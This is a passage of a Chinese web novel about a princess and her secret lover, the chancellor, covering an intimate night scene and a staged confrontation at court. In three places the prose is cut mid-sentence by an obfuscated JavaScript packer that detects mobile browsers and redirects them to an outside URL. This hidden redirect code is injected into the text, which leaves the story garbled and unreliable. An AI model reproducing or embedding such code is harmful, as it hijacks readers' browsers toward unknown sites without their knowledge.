“……可……我总觉得你晚上,特别是沐浴过后,脸会白一点。”在他幽冷的眸光下,她声音越来越低,“真的不是李疏给你制了什么美白的妆粉吗?” “呵……”他倏然冷笑,抬起她的下颌,迫使她面对着他,“我需要涂粉吗?” 江令薇凝视着他的五官,诚实摇头,“……不需要,你很美。” 虽然过往两年,她就是觉得他晚上会白一点,但不可否认,肤色并不会影响他的容貌,眉目疏朗,脊背挺拔,坐在这给人的感觉和他身上的莲花气味一样。 高山之巅,皑皑白雪,云雾缭绕下生长出来的雪莲。 不可亵渎,不可攀折。 “知道就好。”裴渡舟没好气地放开她,手指重新扭动锁扣,里面是厚厚一沓信笺,每一封信上都写着渡舟哥哥亲启。 “写了什么?”他拿起一封信偏头问她。 江令薇观他神情,虽然眼角眉梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而她也终于读完了最后一封信,声音变得疲惫不已。 “读完了。”她提醒他,早知道她就不写这么多了,累的都是她。 “坐过来。”他声音低哑。 江令薇不明所以,但乖乖照做,绕到他身前。 刚一坐下,腰肢就被他的大手揽住,他冷白的面颊染着一抹红,像天边的朝霞,艳丽无双,衬得他容色更甚。 她下意识地往后靠,但身后是床角,退无可退。他瑞凤眼微眯,里面潋滟着情动的光晕。 “很晚了……”在他直勾勾地注视下,她终于还是咽下了拒绝的话,“好吧,你要做那就——” “来”字还没说出口,就被他骤然堵住了唇。多日未见的思念与后怕的想法全部通过这个吻传递给她。 江令薇倒在锦被里,裴渡舟用手枕着她的后脑勺,让彼此间的距离更近,密不可分。 他抚摸着她的脸颊,微甜的雪莲花气味争先抢后地涌入她的嘴里,一寸寸侵入她的唇舌。 “薇薇……” “嗯……” 他一声声地唤着她,像是要通过这种方式来驱散心底的不安,而她似乎也感应到了,不厌其烦地回应。 …… 一刻钟倏忽而过,他的力道很大,仿佛要把她生吃了般,最后在她快要窒息时,终于停下了攻城略地亲吻。他抵着她的额头,温热的呼吸喷洒在她脸上。 彼此的喘息声交错在一起,她慢慢地平复着呼吸,眼角因过于激烈而沾上了几滴泪水。他轻柔地拭去,将锦被盖在她身上,紧紧地抱着她,“睡吧。” “你累了吗?”她轻轻抚摸他的胸膛。 话里的意思很明显,但他罕见地没跟她计较,安抚地拍着她的后背,“不是你一回来就喊累,以为我要干什么,就这么想吃了我不成?” 江令薇感受着属于他□□的热度,难得语无伦次:“那……我,你……” 他胸膛微微颤动,戏谑道:“怎么变结巴了?” “……你真的能睡着吗?我也不是个木头,你让我不上不下的,不舒服。”她咳嗽了一声,随即坦荡地回答。 “明天还要上朝,你该睡了。”他伸手轻抚着她的发丝,如同在哄不想睡的小孩一样,语气温柔下来,“姑且忍一忍,今天也没命人熬药,会有风险的,我们现在不太适合要孩子。” “所以你之前根本没想做?我回来晚了,你要用这种方式惩罚我?”江令薇睁大眼睛,越想越觉得是这样,“但是,你确定不是在惩罚你自己?你不难受吗?” 至于熬药,是他每晚行房前都会喝的药,为了以防有孩子。 “我喜欢这种难受。”他抬手抚上她的眼睛,强制性的让她闭眼。 “……”她忍不住眨了眨眼,浓密的睫毛刮过他的大手,随即被他捂得紧了几分,“好吧。” 她也只能努力说服自己三月未见,他多了一种令人无法理解的怪癖。 他的怀里很暖和,她往里缩了缩,身体的躁动在说话间也缓缓平复下去,之前吃的药丸效果早过了,疲累转瞬间就涌上大脑,她靠着他的胸膛沉沉睡去。 裴渡舟身躯滚烫,没有得到疏解的欲望像潮水似的冲击着他的身体,但他恍然不觉,神色一派淡然,若不是面颊上的绯红,倒真像无欲无求的入世神祇。 他没说慌,他确实喜欢这种难受,又或者说,是想要铭记这种感受。 比起得知她差点要死时的难受,这种因欲望产生的难受实在算不得什么。至少,他现在触手可及她的温度,鲜活又真实,再也不用像那几天一样,看着满室属于她的物件枯坐到天明。 …… 夜晚的风很寒凉,汤池里的水也早冷了,一道颀长的身影站在池里,慢慢地用冷水浸泡身体。 在左侧方的紫檀木博古柜上,摆放着一个青玉盒,方方正正,看不出是用来做什么的。 不过,从打开的空隙里,能够窥见里面有一个椭圆的小瓷盒,瓷盒也已经扭开,装着雪白的细粉。 是用来上妆的粉末。 6. 第 6 章 天还没亮,江令薇迷蒙地站在床前,任由裴渡舟的大手在她腰间与头顶穿梭,为她穿衣束发。 起初她也拒绝过一两次,认为实在没有必要,但他不听。 推辞了一两句后,他便用那双狭长的瑞凤眼定定瞧着她,琥珀色的眼珠看起来透亮无比,却总能给人一种顷刻间吞噬所有的感觉。 在那样地注视下,她再说不出任何拒绝的话。 他的手法迅速又不失细心,都是在这两年练出来的。虽然刚开始的时候经常把她头发弄得一团糟,还非得逼她昧着良心说好看。 神思恍惚间,唇瓣被人重重吮吸了一口,她吃痛睁开眼,罪魁祸首正好整以暇地望着她,在欣赏自己的杰作。 “现在不方便做。”她以为他有了欲望。 裴渡舟意味不明地冷笑,在她不解地注视下,双手猛然一拉她腰间的束带,将人带至身前,“做?你脑袋里成天装着什么,我是色中饿鬼不成?” 挺像的,他总结得很到位。 “一点点吧。”她难得委婉,说大实话他又要生气,这是她从过去相处的经验中得到的惨痛教训。 “诽谤老师,你真是好样的。”他咬牙掐了掐她腰间的软肉。 他的力道不大,根本不疼,也让她有了更多勇气。与他私下相处的时候,她一向直来直去。 即使如此,她还是抿了抿唇,难得犹豫起来。 “有话就说。”他自认为自己很是开明,什么话都能听一两句。 “你是老师,但我也没诽谤,你就是色……”不知怎的,她总觉得室内温度变低了,她拉紧微敞开的领口,道:“……色中饿鬼,你敢做自然不能怕别人说呀,是吧?” “……” 那种熟悉的滞闷感又来了,化作空气,丝丝缕缕地往她口鼻里钻。 “……你是不是生气了?”她犹疑着抬眸,便对上他那双仿佛暗含着刀子的眼睛,她立刻改口:“要是不喜欢的话,我下次可以忍着不说,好吗?” 忍着不说?他还要谢她不成! “不用,你想说什么都可以。”他面上含着一抹微笑,“作为你的老师,自然有一颗容人之心。” “是吗?”她不太相信,“你怎么这么好说话了。”以往生气的时候,可不会轻易放过她。 “……自然是真的。”他笑容依旧,连弧度都没变过,但她莫名觉得他的笑容像杀人的利刃,越看越瘆人。 “其实,你虽然是个色中饿鬼,但人很好,像……”她不太安心,还是想夸赞他几句,但思来想去,找不到什么合适的词语。 “像什么?” “德高望重的好老师。”她嘴里的话绕了半天又绕回老师上面。他确实是个负责的老师,教人很细心,虽然不太好说话。 “越来越会用词了。”他状似不经意地抚上她的面颊,语气却突然一转,像是从牙缝里勉强挤出来的,“讽刺我老是吗?嫌弃了?” “我没讽刺你,我不是在夸你吗?”她不确定地看着他,然后不知为何脑子一抽,把心里话说了出来,“不过,你确实不年轻了。” “江、令、薇。”他脸色沉了下来,低沉的嗓音中压抑着火气。 “……呃,还好了……”她费力找补着,“其实,老了也有老了的气质嘛,人总会老的,你多有气质啊,年岁渐长,气质越来越棒了,我也会老的,别怕嘛。” 说到后面,她逐渐说服自己,结巴的语气变得理直气壮。 听到这通篇的“老”字,他脸都黑了,“以后在我面前,老和气质这两个词,再说一次,你就不用吃肉了。” “我不说了!”她立刻急了,“是我不好,你一点都不老,不……你很年轻,是特别棒的年轻人,哪哪都棒,身体也棒!” 他闭了闭眼,下颌线条也紧紧绷着,似是在竭力忍耐什么。 她也不敢贸然碰他,这幅样子放在以往绝对是要训她了,她只能吃力地道着歉,虽然她并不觉得自己错了。 但他于她有恩,自然怎么都是对的。 “之前给你的那本书,果然没看也没背,过段日子,我亲自抽查,记不住的话,我要你好看。” 他掀开眼皮,面色转为波澜不惊,但与之相反的,是他如琥珀的眼珠,里面有几簇跳动的火光。 他说的是一本罗列了男女容貌的书籍,她略微翻过几页,其中男子容貌占多数,她没兴趣看这些东西,翻过一次就扔到脑后。 “我知道了……”她不情不愿地应着。 之前他明明说过,随便翻翻看就可以。 “面如冠玉,色若春晓……”他强忍着训诫人的冲动背过身,面无表情念着书里的话,“你抓紧背,敢左耳进右耳出的话,我有的是手段让你记住。” “好……”她无力地靠在床角,有些抗拒看那本书。 他从前要她背的都是一些治国论道的书,记载容貌的书背了有什么用呢。 脚步声渐远,听着侧方响起木柜转动的声音,江令薇知道,他已从暗道出去。 这两年他暗中做了不少准备,譬如在这处公主府的地下挖了一条通往他府邸的暗道,又使了些手段让她开府的时候分到这里。 对此,她曾信誓旦旦地说这就是书上所言的暗度陈仓,暗中苟且。 然后蓦地被他用力弹了脑袋,说她好的不学尽学坏的,骂自己的也学,好赖不分。 是骂了自己,可形容的很到位。当时她这么回答。 然后,在他越来越黑的面色下,她不敢再说了。 殿门被一阵有规律的笃笃声扣响,江令薇从回忆里退出,踱步过去打开门。 映入眼帘的是一张精巧的银质面具,飞檐下掌着灯,少隐半低着头,“马车已经备好,时辰将至,殿下可移步府外。主子还命属下以后留在您身边做近侍。” 江令薇自从发现自己选中的侍卫被换了后,已经不在意是谁留在她身边做近侍了,反正她说了也不算。 不过即便心里明白,但她还是有些不愉,这种心情一直持续到宫门前才被她勉强压下。 近侍不能随行进宫,江令薇从马车上下来,独自沿着打开的含天门往前走。 两侧是三三两两的臣子,时辰尚早,许多重臣都还没到,但一些小官可不敢踩着时辰才来,在宫门未开时便前来等候,到现在才进了宫。 天光微亮,日晷上的晷针影子渐渐清晰,已经到了卯时。 周围的事物从黑暗里现出身来,两只威严的石狮子置于金銮殿前,居高临下地睥睨着底下的大臣。 江令薇目力极佳,隔着长长的丹墀望向恢宏的金銮殿,两侧的飞檐上装有祈福辟邪的脊兽,往下是密集又美观的斗拱,稳固殿身的檐枋上绘着彩画,沥粉贴金…… 每一样物什都尽显天家富贵。 看着周围的一切,江令薇耳旁莫名响起裴渡舟曾说过的话,“成了君主,十二州的一切都将为你所有,你不想拥有吗?” “我只要能吃饱饭,有肉吃就够了。”当时她这么回答。 听到她的话,他淡淡一笑,什么都没说。 现在想来,江令薇觉得,他大概是在笑她的天真。 他要帮她成王,她以前没什么想法,他要她做什么,她就去做。毕竟,他是恩人。 今日是她第一次来金銮殿,昨天包括前十七年她都没有来过,与皇子府以及臣子的府邸万分不同,所有陈设装饰皆是天下最精巧的存在。 此刻,她站在接二连三往前走的朝臣之中,可能是被天光晃了眼,周围人的身形渐渐模糊,只有前方雕梁画栋的宫宇是那般真实,汉白玉的台阶就在身前,祥瑞的铜龟铜鹤伫立在侧方铜座上…… 高高在上的天家富贵仿佛也变得触手可及了。 为什么不能是我呢?她脑海里蓦然闪过这个念头。 直到现在,她突然发现从前的自己大概真有些天真,吃饱饭、有衣穿、能安稳活着,这些东西太浅了。 随着见过的更多,懂得更多,想要的也就更多。 “十公主安好,微臣见您一直望着前面的石狮子和铜龟仙鹤,是有哪里不明吗?” 有人在跟她说话。 江令薇回过神,身前是一位年迈的长者,面相和善,看官服样式,应该是出自国子监。 她微垂下眼,颇为尴尬地说自己确实不太明白那些陈设的寓意。其实不然,关于宫中的东西,他教得繁琐,她也记得一字不漏。 宫里子嗣多,上书房不是人人都能去,这位十公主怕是没什么文墨。国子监祭酒舒老一想便也明了。 距离上朝时辰还有一会儿,他掌管教学育人的国子监,自然有好为人师的癖好,见此笑呵呵地为江令薇引经据典地解释了一番。 从两人身旁经过的官员渐渐多了起来,其中不乏有一些重臣,对这一对“师生”没有过多关注,根本不放在眼里。 倒是有几位□□品小官想要讨江令薇的好,凑上前来铆足劲说了许多恭维的话,说她今日定能得封郡王,以后能一同入朝为陛下分忧,实在是国之幸事。 皇子得封郡王便能上朝参事,领个一官半职。 一般来说,皇帝给人开府后便会封王,像江令薇这种开了府却没有品级的子嗣十分罕见。 不过,多数官员都认为这次早朝她能得封郡王,毕竟身上有军功,而且皇帝只对皇子开府吝啬,一旦有了府邸,封王是顺其自然的事。 江令薇根据裴渡舟教她的那样,用惴惴不安与唯唯诺诺来应对一切。 但小官们丝毫不受阻,态度更加热情。舒祭酒从心底厌烦这些见风使舵的官吏,留下几句托词便走开了。 江令薇也借口上朝要紧,随着舒祭酒的步伐匆忙离去。不想再听这些毫无意思的话。 不过,她低估了这些平日里不得志的官吏,见她性子软弱,根本不肯放过她,像狂热的追捧者一样奉承她。 白玉台阶上,江令薇毫不掩饰面上的慌乱,看起来就像入了狼群的小羊般不适。 身侧路过的官员很多,但大多是私下有派别的人,根本不屑于讨好她,见到她这幅上不得台面的样子纷纷嗤笑几声。 时间再一次回到了昨日夜宴,句句奉承像极了为难,各种笑声交错在一起,江令薇心中一派冷然,眼眶却缓缓发红。 金銮殿侧的角落里,皇帝的贴身太监福来静静注视着下方发生的一切,那双浑浊的眼睛在被官吏围着的江令薇身上停留了好些时间。 …… 如今的皇帝年逾五十,身体每况愈下,半月才上一次朝,一年之前,平常的政事都交给了太子与裴渡舟处理。 太子是国之储君,替父分忧是名正言顺。 但裴渡舟只是一个丞相,却也能跟太子一起处理朝政,当初旨意刚下的时候,不知惊掉了多少人的下巴。 事实上,朝堂之中太子想要做什么,裴渡舟就必定会出言反对,这样的场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974402|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不知发生了多少次。 基于这样,太子格外厌恶裴渡舟,对着他举荐的江令薇也是厌屋及乌,恨不得除之而后快。 这不,刚进宫门,太子便瞧见一堆名不见经传的官吏对着江令薇极尽阿谀谄媚。 他瞬间气不打一处来,没有理会一侧的七公主,大步上前讽刺道:“这不是十妹妹吗?怎么,刚回京便认识这么多大臣,看来传言有误,什么一直在深宫未曾见过他人,十妹妹也太会掩人耳目了。” 之前还在疯狂夸赞江令薇的官吏们意识到来者是谁,瞬间像被人扼住喉咙的鸡禽,再也说不出一句话。 江令薇无措地抬起头,“二哥——” “是不是又要说本宫冤枉你了?”太子扬唇冷嗤,他掸了掸身上的储君朝服,“冤不冤枉的先不论,这是在金銮殿前,为国为民的地方,本宫先是太子,再是你二哥,十妹妹可不要喊错了称呼。” 江令薇心知太子是有意提醒自己与他的身份差距,声音瞬时变得慌乱,“是我犯了忌讳,请太子殿下责罚。” “十妹妹又说错话了不是,你可是有军功在身,谁敢罚你呢?”太子边说,边死死瞪着刚才讨好她的官吏,如果眼神能杀人,这些人已经死了千万次了。 事实上,等朝会过后,这些官吏下场也不会好到哪里去。 他们官职太低,除了所有官员必须参加的朝会之外,像昨天的迎接大军回朝,以及晚上的宴席,亦或是其他的活动,都是没资格出席的。 也因此,可能是忘了分寸,让太子瞧见他们讨好江令薇,以后日子不必说,定会越过越艰难。 官吏们也明白这一点,双腿止不住地打颤。 江令薇偏头快速擦掉模糊了视线的眼泪,回道:“让太子殿下不悦,是我的过错。殿下既是储君,又是兄长,我便是被责罚也是心甘情愿。” 太子嗤笑一声,他凑到江令薇耳边低声道:“你装给谁看呢?” 听到这种直白的话语,江令薇有些心痒,如果可以,她也想不加任何修饰的回过去:装给所有人看。 但这种话她也只是心里想想便罢了。 太子直起身,便见她刚擦过的眼泪又一次涌了出来。 周围很安静,几名□□品官吏努力降低着自己的存在感,一时只闻江令薇默默抽泣的声音。 太子不耐地皱着眉,哭哭哭,聒噪的要命!母后说得没错,这些出身卑贱的皇子,都是一样的上不得台面,奴颜婢膝,跟这种人计较真是丢份! “装腔作势!”太子冷哼着甩过衣袍,背着手拾级而上。 你才装腔作势呢,江令薇在心里默默回答。 官吏们见太子走了,立刻小声地朝着江令薇求了几句情,叫她千万记得他们。 其中一人说完后明显还想说些什么,被另一人暗中提醒后才止住话头,几个人对视一眼,暂且不论心中怎么想,纷纷拱手匆忙地告辞。 江令薇只觉得他们聒噪得很。 她慢慢地擦着通红的眼睛,掌心的帕子已经浸湿透了。异于常人的能哭。 说起来,哭对她而言并不是难事,而且可以称得上一句天赋异禀。 跟旁人需要情感的刺激不同,她只要想流泪,眼皮一碰就能办到,无论是面对裴渡舟还是其余所有人,都是这样。 难过与悲痛似乎与她无关。眼泪能表达情绪,但她的眼泪就只是眼泪。 裴渡舟经常要她不能把自己当一个禽兽,要有各种各样的情绪,喜怒哀乐通通在他面前展现出来,而且便是禽兽也有情绪。 可她完全不明白他在说什么,她明明就有情绪,吃到肉的满足,被他打倒时的害怕…… 这难道不是情绪吗? 裴渡舟却说那不算,他要她大哭,大笑,大怒,大喜……要明明白白,不含一丝虚假地表露出来。 她应下,然后要他做个示范,他只要教了,她能学好的。以往都是这样。 他忽然沉默了,默然良久后对她说:“情绪是天生的能力,你是不是生病了……” 她没病。 能吃能睡,能跑能跳。 他的话真是奇怪。 …… 眼前忽的递来一方帕子,打断了江令薇的思绪,“十公主,这是我们殿下送您的。” 说话的人是七公主近侍青木,江令薇似有所感,抬眸往台阶上望去。 七公主正快步往太子那边走,可能是感觉到了什么,七公主回眸一看,然后,对着她所在的方向扬唇一笑。 对视的一瞬间,江令薇脑子里自动回想起关于七公主的事:昭仪之女,其母并不得宠爱,一年半载都见不到一回天颜。本人是太子的跟班,每天都去伺候皇后与太子,渐渐得了好处,封了郡王,在朝中以太子意愿为先。 与江令薇过于精致柔弱的容貌体态不同,七公主眉目清秀,身上流转着一股恬淡的气质,好比御花园里默默衬托繁花姿态的绿叶,在花瓣下迎风摇曳,不争不抢。 皇家也有甘做绿叶的人么?江令薇想。 七公主似乎只是随意一看,很快就收回了目光,碎步往候在殿前的太子走去。 江令薇做出感激的模样接过帕子,眼底的眸光却依旧冷漠。 至少,真正的绿叶不会跟繁花暗地里对着干。排除红白脸做戏的可能,剩下的就只有绿叶也所图甚大这一项了。 不过,她倒是不觉得奇怪,荣华富贵,无上权力,人都会喜欢吧。 7. 第 7 章 青木刚离开,五皇子就出现在她身后,微笑着点了点她的肩膀,不知看了多久。 “五哥……”江令薇在他走近时就注意到了,不过还是面带惊喜地出声。 配上她通红的眼眶,给人一种受欺负的孩子终于找到主心骨的感觉。 “你也是傻,那些末流官吏就是欺你好性。”五皇子在她手心攥着的帕子扫了一圈,“你越是好说话,他们就越是得寸进尺。人,要自身立起来,拿出皇女的架势,他们才不敢像刚才那样围堵你。” “我不知道……该怎么立?”她配合地问出这句话。 这人遇见她就想当知心哥哥,若是她真无人教导,只怕早就将他当成亲人来对待了。 见她头都要垂到胸口了,五皇子轻笑着扶住她的手臂,带着人一步步走上白玉台阶。 “此次漠北之战,你有功劳在身,父皇慈爱,定会册封你为郡王,赏个一官半职。到时候,你只需要稍稍皱个眉,板着脸,那些末流官吏便不敢再像今天这样肆无忌惮。” “像二哥一样板着脸吗?” 五皇子一愣,反应过来后一手握拳抵住唇,才不至于发出笑声。 “是啊,我们的二哥深谙此道,从没人敢不长眼跑到他面前围追堵截。”五皇子悠悠望向金銮殿匾额下的太子,与其不屑一顾的目光对上。 他不在意地移开视线,又见江令薇努力学着太子的样子,板着脸,双眉夹的极深。 “是这样吗?我这样做就不会被他们堵了吗?” 五皇子终于还是忍不住,闷笑一声,“五哥跟你说心里话,你记住了,想要立起来,得有地位。若是没有,再张牙舞爪都没有半点威慑力,像小猫一样,你会怕一只猫吗?” “我不怕猫。”她泄了气,圆润的眼眸也耷拉下来。 五皇子正要继续往下说,她忽然抬起头,眼尾虽然微微下垂,但瞳孔很亮,“但为了五哥,我会立起来的。” 为了裴渡舟所愿,为了那晃人眼的天家富贵,会立起来的。 五皇子盯着江令薇,接着,那双眼睛转向远处的蓝天,墙角的阴影里站着几个身着青色衣衫的末流官吏,他们微微点头。 “五哥信你。”他和煦一笑。 江令薇在五皇子看过来时,已将目光从蓝天之下落回到牌匾上矫若惊龙的“金銮殿”三字,又偷偷瞧他几眼,学着他的样子微微扬唇,明了了刚才发生的一切是谁的授意。 …… 江令薇跟着五皇子在金銮殿前十尺远的地方站定,官员们皆在这处等候,按照品级顺序纷纷站好,等待殿门打开。 太子是储君,位置自然在所有人前面,但他的身旁明显还有另一个人的位置。 是谁不言而喻,上朝时辰接近,但人还未至。 太子冷笑着瞄了眼空位,心里的厌恶根本挡不住。一旁七公主的手被他紧紧按着,上面满是青紫,可想而知他的怒气。 站在太子身后的周太师仔细瞧了一眼神情依然温和的七公主,在确认她并无异色后,心中暗自点头,只要此人一如既往的安分,来日等侄儿登基后,倒是可以封个闲散地方的亲王。 亲王与挂个闲职的郡王不同,可以划分一块州府为封地,到那里终生居住,享封地税银。 当今皇帝登基后,借着为先帝守陵的理由,一连传召所有亲王回京,没过几月,竟是都无端病死了。 皇帝在中元节的时候,亲自入皇陵祭奠,当着特意请来观礼的万名百姓的面,扶着棺椁痛哭流涕。 这件事在民间流传甚广,到今日还是一桩美谈。 不过,扶持皇帝上位的周太师知道其中内情并不是什么病死,总而言之就是夜黑风高,诛杀殆尽。 若是这七公主敢有别的心思,那就不要怪他们效仿此法了。 周太师又回头瞄了下江令薇等人,心中是一样的想法。 …… 此处官员众多,少不得会有眼神看来看去,江令薇倒是没发现周太师的打量,她正低眉顺眼地盯着眼前的空地,知道时辰差不多了那人才会来,俗称踩点上朝。 身为皇帝信重的臣子,他的确有这个资本。 她左边是举止规矩的五皇子,右边是打着呵欠的四皇子。 与裴渡舟曾告诉她的一样,四皇子眼下发黑,脸色发黄,是纵欲过度之面相。他是多年前病逝的端宁贵妃之子,因着皇帝多少记挂贵妃音容,得封郡王,可以上朝参事。 但常年流连烟花之地,并不得皇帝喜爱,这么多年过去,也只是一个毫无实权的郡王。 江令薇面色如常,把四皇子的身世在脑子里过了一遍。 金銮殿前没有人说话,全都屏息以待。 身后台阶传来一道沉稳有力的脚步声,众人举目望去。 来人着朱紫官服,从白玉台阶上步步走来。身形如竹,目若朗星,正是丞相裴渡舟。 人群自动为其让开一条路,明明从旁边就能过去,但所有人都没有傻站在原地不动。 即便私下里分别效忠不同皇子,但不论是文官武官,皆不想招惹他,煞神之称名不虚传。 无人敢指摘他来得晚,除非是嫌命长不想活了。 曾经就有一位刚上任的年轻御史,看不惯裴渡舟在朝中的做派,当众上奏,对着皇帝说此人祸国殃民,不配当一国丞相。 在太子的有意推波助澜下,御史差点要去撞柱,以死表明决心。对此,皇帝只是笑呵呵地让宫人把激动的御史拉下去,此事不了了之。 最后,那名御史离奇的死在家中,据说舌头都不见了。 为官多载的人,自然不会认为这是哪里的妖怪成了精,喜吃舌头。始作俑者是谁大家都心知肚明。 江令薇也跟着身前的官员往旁边避了避,随大流才能更好地保护自己。 察觉到众人的举动,四皇子猛地从睡意中惊醒,他忙不迭推了一把江令薇,慌乱地挤到她左边站着,他不愿站在过道边,对裴渡舟很是惧怕。 江令薇武功不错,曾经为了找个好由头,有段时间她白天不在丞相府,回了宫,天天往习武场跑,不少宫中人都有印象。 彼时出征漠北前,太子尚不知这件事,用她不会武来反驳,裴渡舟三言两语让皇帝去请了教习武艺的武将。那武将直言她很有天赋,至此太子再无话可以反对。 江令薇极快地稳住身形,左手忽然被五皇子抓住,一边悄声说别怕五哥扶你,一边把她往回拉。 但他的手也不知怎的,一番拉扯间,一股大力直直地往她身上袭来。她其实勉强能避得开,但早晨起来时,裴渡舟说要在众人面前演成死对头。 她对此没有任何意见,不过心里越发觉得这就是妥妥的暗中苟且嘛。 她不动声色地瞄了眼向自己倒过来的五皇子,觉得这是个难得的机会,顺势歪倒,随着那股大力撞在踱步而来的裴渡舟身上。 裴渡舟身形很稳,立在原地并未被撞倒。 淡淡的雪莲花味道漫入江令薇的鼻息,她的身体因为惯性恰好倒在裴渡舟的怀里,隔着柔软的官服,她能清晰感受到他紧实的腹肌,如此近的距离,分明的肌理似乎在她脸上作画,十分真实。 轻软的衣袖料子很滑,白皙的手臂漏了出来,与他垂在身侧的手有过一瞬间的接触。 带着凉意的指尖如同飘零的雪花,落于肌肤表面,留下了一层不可忽视的冷冽寒意。 “十妹妹,你没事吧!”五皇子刚才也跌倒了,正在旁人的帮助下从地上一瘸一拐地爬起来。 耳边是五皇子焦急的声音,江令薇轻嗅着那股清淡气息,在裴渡舟伸手抬起她的下颌时,怯怯地仰头,“无意冒犯大人……” 面对那双含着万千冰雪的眸子,江令薇心头一滞,他从没有用那样冷绝的眼神看过她。 戏要演得像杀了她一般么…… 是她选得时机不对,还是他在为早上的事生气? 当前的情况容不得她多想,只是一个呼吸的功夫,豆大的泪珠便从她泛红的眼角滑落,“我……” “微臣不好女色,公主烦请自重,不要忘了自己的身份。”冷如冰泉之水流过的声音注入她的耳里。 此话一出,众臣哗然。 这……几乎是在暗指江令薇蓄意勾引,没有半点国之公主的风范,太羞辱人了…… 江令薇对这话倒是没想太多,配合地掩住嘴,睁大眼睛,似是不相信会被人这么侮辱。 捏住她下颌的指尖无情地移开,那双飞入鬓角的剑眉微皱,然后,拂了拂她刚才接触过的官服,仿佛上面沾了什么令人恶心的东西一样,厌恶之色毫不掩饰。 面上满是泪水的江令薇被五皇子稳稳地扶住手臂,他像是自责到了极点,“五哥不是故意的,本来好好的,不知道怎么就被推了一下。” 五皇子身旁只有四皇子一人,听到这话,四皇子当即跳起来,“你这话什么意思!少血口——” 剩下的话戛然而止,因为太子板着脸走了过来。四皇子面皮发颤地看了看表情冷淡的裴渡舟,又转向神情阴沉的太子,讪讪补完未说完的话,“少……少血口喷人……” 比起刚才中气十足的语气,现在颇有些不打自招的意味。四皇子自己也发现了,但在打从心底畏惧的裴渡舟面前,喉咙就像被堵住了,发不出一点声音。 太子眼里的憎恶没有丝毫遮掩,他二话不说直接开始呵斥四皇子,“丧尽天良连亲妹都下得去手”“果然是狼子野心”类似的话语数不胜数。 太子骂人的时候,恶毒的目光在四皇子身上只停留了一瞬,便转向淡定如初的裴渡舟。嘴上骂的是四皇子,心里想怒斥的是谁无人不清楚。太子就是在借此机会指桑骂槐。 四皇子面色凄白,羞愤的差点要晕死过去。 宽广的金銮殿前,百官面色各异,很多人大气都不敢出。 “受害人”江令薇兀自流着泪,小声应对着五皇子的关心,示意自己不怪他。许是哭得久了,一双杏眸显得雾蒙蒙的,让某些人心头微动。 她小幅度地侧了侧身子,总觉得太子骂人时会有口水溅出来,虽然能够洗掉,但还是让人不适。 熟悉她动作的某人手指微蜷,想摸摸她的脸。 可能是心有灵犀,她抬起湿润的双眸,与裴渡舟的目光在空中交汇。他不躲不避,朗星般的眸子闪过一抹不明显的暗色。 她读得懂他眼底的意味,每次在床上时,他都会那样看她,像山中猛兽上了神祇的身,撕破那张孤傲的面皮,一点一滴地宣泄藏不住的欲望。 他的目光渐渐下移,定格在五皇子搀扶她的那只手上,接着,眸光微冷,骤然出声打断了太子对四皇子的单方面斥责。 “太子殿下好威风,金銮殿前,也丝毫不顾陛下龙体,这般高声喧闹吗?” 太子被人斥责,心里不爽到了极点,但偏偏又不能拿对方怎么样,只能对松了口气以为逃过一劫的四皇子狠狠地剜了一眼。 四皇子恨极了,但同时也怕极了,浑身颤抖地低着头,不敢说一句话。 场面很安静,面对裴渡舟的威压,太子一党的臣子也是心惊胆战。 昨晚在宴席上暗讽裴渡舟的兵部尚书李德此时像个鹌鹑般,努力降低自己的存在感,生怕被他注意到。 有这般原因,其实是得益于裴渡舟的煞神之名。 朝中数百位官员,只要被他得知有什么把柄没处理好,显露在明处,他朝会时就会直言不讳地进谏,一项小小的错处到他嘴里那就是十恶不赦的死罪。 皇帝每回都对他的说辞极为信任,抄家灭门不再话下。 曾有戏言称他不是辅政的丞相,而是皇帝暗中的爪牙,杀的人都是让皇帝看不顺眼的存在。 当然,公然说这话的人也没活到现在。 不过,裴渡舟这一年却罕见地没有进谏,只在朝堂反对太子言行,但从不抓官员的把柄。 即使如此,惧怕已经刻在很多官员的骨子里,挥之不去。 就如同此刻,死一般的寂静在群臣中蔓延。 见效忠的官员都默不作声,太子感觉自己的脸皮正被人发狠地抽打,他勉强撑起一抹得体的笑。 “本宫身为长子,有教育弟妹的职责,相信就是父皇亲临,也断然不会责怪本宫,丞相未免太夸大其词了。” 裴渡舟凝着一双冷眸,从太子身上转过,落到江令薇面上,她手腕上的那只碍眼手臂已经放了下来,就是不知是自己避开,还是别人放开。 江令薇是自己避开的,她隐隐意识到了他的情绪。五皇子只以为她是被裴渡舟吓到了,不曾怀疑。 “教育弟妹?”裴渡舟不咸不淡地开口,“可微臣却只看到了您不分青红皂白冤枉四皇子,太子殿下实在有失公允。” 四皇子首先一惊,不敢相信自己的耳朵。因为裴渡舟的骇人事迹他格外恐惧此人,平常都是离得远远的,生怕被发现他曾强抢民女,没想到如今竟会为他说话? 与四皇子有一样疑惑的还有群臣,包括太子。 “那依丞相所言,刚才的事……”太子目光在江令薇与裴渡舟身上来回游移,话音忽然一转道:“本宫也是看丞相受了委屈,被人撞到,一时气愤才误解了四弟。既然丞相已有判断,那本宫也不好插手,您请。” 太子意思很明显,要裴渡舟自己处理。 四皇子身边就只有五皇子还有江令薇自己,裴渡舟既然觉得不是四皇子推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 